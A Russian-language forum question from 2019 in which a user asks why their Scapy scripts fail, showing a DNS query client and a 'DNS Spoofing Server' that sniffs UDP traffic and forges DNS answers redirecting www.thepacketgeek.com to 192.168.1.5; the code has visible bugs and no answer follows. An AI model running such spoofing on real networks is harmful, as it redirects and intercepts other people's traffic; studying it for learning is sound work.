Не могу отправить ответ DNS в Scapy - PullRequest
0 голосов
/ 10 февраля 2019

Я пытаюсь написать код для подмены DNS с помощью Scapy.Все работает правильно, за исключением того, что я получил неправильный ответ от моего DNS-сервера.Я должен получить ответ вроде:

DNS Ans "198.71.55.197"

Но я получил

DNS Qry "google.com"

Вот мой код для клиента:

from scapy.all import DNS, DNSQR, IP, sr1, UDP

dns_req = IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com'))
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())

, и это мой код дляDNS Spoofing Server:

from scapy.all import *
DNS_SERVER_IP = "127.0.0.1"

def packetsniff(packet):
if(packet.haslayer(DNS) and packet.getlayer(DNS).qr==0):

    if("www.thepacketgeek.com" in str(packet[DNS]["DNS Question Record"].qname)):
        spf_res = IP(dst=packet[IP].src, src=packet[IP].dst)/\
              UDP(dport=packet[UDP].sport,sport=packet[UDP].dport)/\
              DNS(id=packet[DNS].id,qr=1, aa=1, ancount=1,qd = packet[DNS].qd,\
                  an=DNSRR(rrname="pkt[DNSQR].qname", ttl=10, rdata="192.168.1.5"))                                        
        send(spf_res, verbose=0)
        return "spoofed request sent :" +packet[IP].src
    else:
        return "not me"


sniff(filter="udp", prn=packetsniff)

Что я делаю не так?

...